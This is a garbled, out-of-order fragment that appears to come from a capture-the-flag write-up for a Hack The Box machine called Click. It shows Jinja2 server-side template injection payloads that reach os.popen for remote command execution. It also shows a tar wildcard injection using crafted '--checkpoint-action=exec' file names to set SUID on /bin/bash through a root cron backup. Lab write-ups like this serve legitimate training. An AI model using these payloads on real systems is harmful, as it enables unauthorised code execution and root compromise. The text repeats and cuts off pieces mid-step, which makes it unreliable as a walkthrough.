echo "#!/bin/bash" > shell.sh echo "chmod u+s /bin/bash" >> shell.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh" When the backup runs (likely via cron as root), tar executes shell.sh , giving /bin/bash SUID.
Wait for cron (or run backup manually if possible), then: click htb writeup
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} Response shows uid=1000(click) ... – command execution achieved. Payload (URL-encoded): echo "#
/login /dashboard /forgot-password /test The /test endpoint is promising. Discovering SSTI The /test endpoint accepts a parameter ?name= . Submitting {{7*7}} returns 49 in the response → Server-Side Template Injection (Jinja2). Confirming Execution Payload: {{ config }} → Leaks Flask configuration, confirming Jinja2. Gaining RCE Jinja2 SSTI to RCE: Confirming Execution Payload: {{ config }} → Leaks
Running it shows it creates a backup of /home/click to /backups/click_backup.tar.gz using tar with wildcard. The command likely is: